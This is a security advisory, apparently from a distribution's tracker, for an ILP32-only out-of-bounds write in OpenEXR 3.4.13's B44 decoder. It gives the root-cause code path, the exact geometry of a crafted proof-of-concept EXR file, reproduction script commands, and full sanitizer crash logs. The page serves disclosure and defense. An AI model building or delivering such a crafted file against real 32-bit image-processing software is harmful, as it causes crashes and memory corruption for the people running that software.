Skip to content

GHSA-92pq-9qv4-g68q on CTRL-OS 26.05

Aliases: GHSA-92pq-9qv4-g68q

Packages: openexr

Status: Plausible

Advisory Information

Summary

OpenEXR v3.4.13 has an ILP32-only out-of-bounds write in the B44 scanline decode path reached through the public C++ Imf::InputFile::readPixels() API. A crafted B44-compressed scanline EXR with a very wide one-channel HALF image makes the B44 logical scratch size exceed 4 GiB. On 32-bit ILP32 builds that size is truncated before allocation, but uncompress_b44_impl() still uses the attacker-controlled channel width to compute row pointers and writes far past the allocated scratch buffer.

Confirmed locally: the original unsanitized ILP32 binary segfaults (rc=139), ASAN reports a write crash in the B44 decompressor at internal_b44.c:594 (rc=134), and UBSAN-instrumented ILP32 aborts on the same write crash path (rc=134). ASAN classifies this as a deadly signal rather than a normal heap-buffer-overflow report because the first overflowing row pointer lands far outside the small truncated allocation.

Details

Root cause:

  • sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:219-222: public InputFile::readPixels() enters the scanline reader.
  • sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586: ScanLineProcess::run_decode() calls exr_decoding_run().
  • sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:579-580: the decode pipeline calls exr_uncompress_chunk().
  • sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:448-450 and :543-546: EXR_COMPRESSION_B44 dispatches to internal_exr_undo_b44() while decompressing chunk data.
  • sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_b44.c:660-683: compute_scratch_buffer_size() computes a 64-bit scratch size from the rounded channel width, channel height, and bytes per element.
  • sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_b44.c:697-702: that 64-bit value is passed to internal_decode_alloc_buffer() for decode->scratch_buffer_1.
  • sources/openexr-3.4.13/src/lib/OpenEXRCore/coding.c:229-256: internal_decode_alloc_buffer() ultimately allocates through a size_t-sized allocator argument, so values above 4 GiB truncate on ILP32.
  • sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_b44.c:558-596: uncompress_b44_impl() derives row1, row2, and row3 from the large channel width and writes with memcpy(). The PoC crashes at line 594, memcpy(row1, &s[4], n).

PoC geometry:

compression = B44_COMPRESSION
storage     = scanline
channel     = one HALF channel named Y
width       = 67,108,865
height      = 32
logical chunk bytes = 67,108,865 * 32 * 2 = 4,294,967,360 = 0x100000040
ILP32 truncated allocation size = 0x40 = 64 bytes
compressed chunk payload = one 3-byte B44 flat-field block (ff ff ff)

Only the first 3 compressed bytes are needed to enter the first B44 block. The first block computes row1 = row0 + nx, where nx is 67,108,865 HALF elements, and then copies 8 bytes to that far-out pointer before the short input is rejected. The included standalone PoC EXR is 347 bytes.

PoC

Package contents

poc.zip contains only the files needed to rebuild, run, and verify the standalone crafted EXR PoC.

poc.zip

reproduce.sh
repro/build_repro.sh
repro/run_repro.sh
poc_artifacts/poc_b44_inputfile_crash.exr
poc_artifacts/probe_ilp32_b44_inputfile_read_poc.cpp
logs/original_poc.stdout
logs/original_poc.stderr
logs/original_poc.rc
logs/asan_poc.stdout
logs/asan_poc.stderr
logs/asan_poc.rc
logs/ubsan_poc.stdout
logs/ubsan_poc.stderr
logs/ubsan_poc.rc

Reproduction

Run from the OpenEXR v3.4.13 repository root after the existing ILP32 original/ASAN/UBSAN builds are present:

mkdir -p artifacts/tmp/report17-poc
unzip -o 'report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/poc.zip' -d artifacts/tmp/report17-poc

artifacts/tmp/report17-poc/repro/build_repro.sh original
artifacts/tmp/report17-poc/repro/build_repro.sh asan
artifacts/tmp/report17-poc/repro/build_repro.sh ubsan

artifacts/tmp/report17-poc/repro/run_repro.sh original
artifacts/tmp/report17-poc/repro/run_repro.sh asan
artifacts/tmp/report17-poc/repro/run_repro.sh ubsan

A top-level helper runs the same sequence:

./reproduce.sh

Expected results:

original -> rc=139, SIGSEGV while reading the crafted B44 EXR
ASAN    -> rc=134, write crash at internal_b44.c:594 in uncompress_b44_impl()
UBSAN   -> rc=134, write crash at internal_b44.c:594 in uncompress_b44_impl()

Full original-build output

logs/original_poc.rc:

139

logs/original_poc.stderr:

reading /home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/poc_artifacts/poc_b44_inputfile_crash.exr via InputFile::readPixels(0,31)
timeout: the monitored command dumped core

logs/original_poc.stdout is empty:


Full ASAN output

logs/asan_poc.rc:

134

logs/asan_poc.stderr:

reading /home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/poc_artifacts/poc_b44_inputfile_crash.exr via InputFile::readPixels(0,31)
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3495545==ERROR: AddressSanitizer: SEGV on unknown address 0xfbc03ec2 (pc 0xf7a576d6 bp 0xffe0ab48 sp 0xffe0a708 T0)
==3495545==The signal is caused by a WRITE memory access.
    #0 0xf7a576d6  (/lib/i386-linux-gnu/libc.so.6+0x1876d6) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #1 0x5674ce83 in __asan_memcpy (/home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/repro/bin/probe_ilp32_b44_inputfile_read_poc_asan+0x134e83) (BuildId: 45f26c9afcc9f19bf99852c7151f6d681215af99)
    #2 0x569a85ef in uncompress_b44_impl /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_b44.c:594:21
    #3 0x569a82b4 in internal_exr_undo_b44 /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_b44.c:707:12
    #4 0x56964b66 in decompress_data /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:449:18
    #5 0x5696463f in exr_uncompress_chunk /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:546:14
    #6 0x56983707 in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:580:14
    #7 0x567b89ef in Imf_3_4::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_3_4::FrameBuffer const*, int, int, std::vector<Imf_3_4::Slice, std::allocator<Imf_3_4::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:23
    #8 0x567b5b98 in Imf_3_4::ScanLineInputFile::Data::readPixels(Imf_3_4::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500:21
    #9 0x567b54a9 in Imf_3_4::ScanLineInputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:307:12
    #10 0x5679ba57 in Imf_3_4::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:458:20
    #11 0x5679b986 in Imf_3_4::InputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:222:12
    #12 0x56794053 in read_file(char const*) /home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/poc_artifacts/probe_ilp32_b44_inputfile_read_poc.cpp:18:8
    #13 0x56794053 in main /home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/poc_artifacts/probe_ilp32_b44_inputfile_read_poc.cpp:29:16
    #14 0xf78f4cb8  (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #15 0xf78f4d7b in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x24d7b) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #16 0x566b7a16 in _start (/home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/repro/bin/probe_ilp32_b44_inputfile_read_poc_asan+0x9fa16) (BuildId: 45f26c9afcc9f19bf99852c7151f6d681215af99)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/i386-linux-gnu/libc.so.6+0x1876d6) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) 
==3495545==ABORTING
timeout: the monitored command dumped core

logs/asan_poc.stdout is empty:


Full UBSAN-instrumented output

logs/ubsan_poc.rc:

134

logs/ubsan_poc.stderr:

reading /home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/poc_artifacts/poc_b44_inputfile_crash.exr via InputFile::readPixels(0,31)
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==3495557==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x602c0592 (pc 0xf7a4a6d6 bp 0xff9a32b8 sp 0xff9a31f8 T3495557)
==3495557==The signal is caused by a WRITE memory access.
    #0 0xf7a4a6d6  (/lib/i386-linux-gnu/libc.so.6+0x1876d6) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #1 0x567b9c2c in uncompress_b44_impl /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_b44.c:594:21
    #2 0x567b9137 in internal_exr_undo_b44 /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_b44.c:707:12
    #3 0x56791aee in decompress_data /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:449:18
    #4 0x56791921 in exr_uncompress_chunk /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:546:14
    #5 0x567a1e2a in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:580:14
    #6 0x566825c5 in Imf_3_4::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_3_4::FrameBuffer const*, int, int, std::vector<Imf_3_4::Slice, std::allocator<Imf_3_4::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:23
    #7 0x5668092f in Imf_3_4::ScanLineInputFile::Data::readPixels(Imf_3_4::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500:21
    #8 0x566804af in Imf_3_4::ScanLineInputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:307:12
    #9 0x566725fe in Imf_3_4::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:458:20
    #10 0x566724d0 in Imf_3_4::InputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:222:12
    #11 0x5666ec00 in read_file(char const*) /home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/poc_artifacts/probe_ilp32_b44_inputfile_read_poc.cpp:18:8
    #12 0x5666ec00 in main /home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/poc_artifacts/probe_ilp32_b44_inputfile_read_poc.cpp:29:16
    #13 0xf78e7cb8  (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #14 0xf78e7d7b in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x24d7b) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #15 0x5663ed26 in _start (/home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/repro/bin/probe_ilp32_b44_inputfile_read_poc_ubsan+0xc8d26) (BuildId: 0a685c35eb26afd4b5d0744fcab3c94b86299839)

UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV (/lib/i386-linux-gnu/libc.so.6+0x1876d6) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) 
==3495557==ABORTING
timeout: the monitored command dumped core

logs/ubsan_poc.stdout is empty:


Impact

Applications that build OpenEXR v3.4.13 for 32-bit ILP32 targets and read attacker-supplied B44-compressed scanline EXR files can hit memory corruption during decompression. The demonstrated impact is process crash in the original unsanitized binary and sanitizer-confirmed write crashes in the B44 decompressor. Arbitrary code execution was not proven. LP64 builds are not demonstrated because the vulnerable scratch-size conversion does not truncate to a tiny allocation on 64-bit targets.

Updates

2026-08-11 03:50 CEST

Metadata changes:

  • Status for package openexr: “Plausible

2026-08-11 03:32 CEST

Metadata changes:

  • Status for package openexr: “New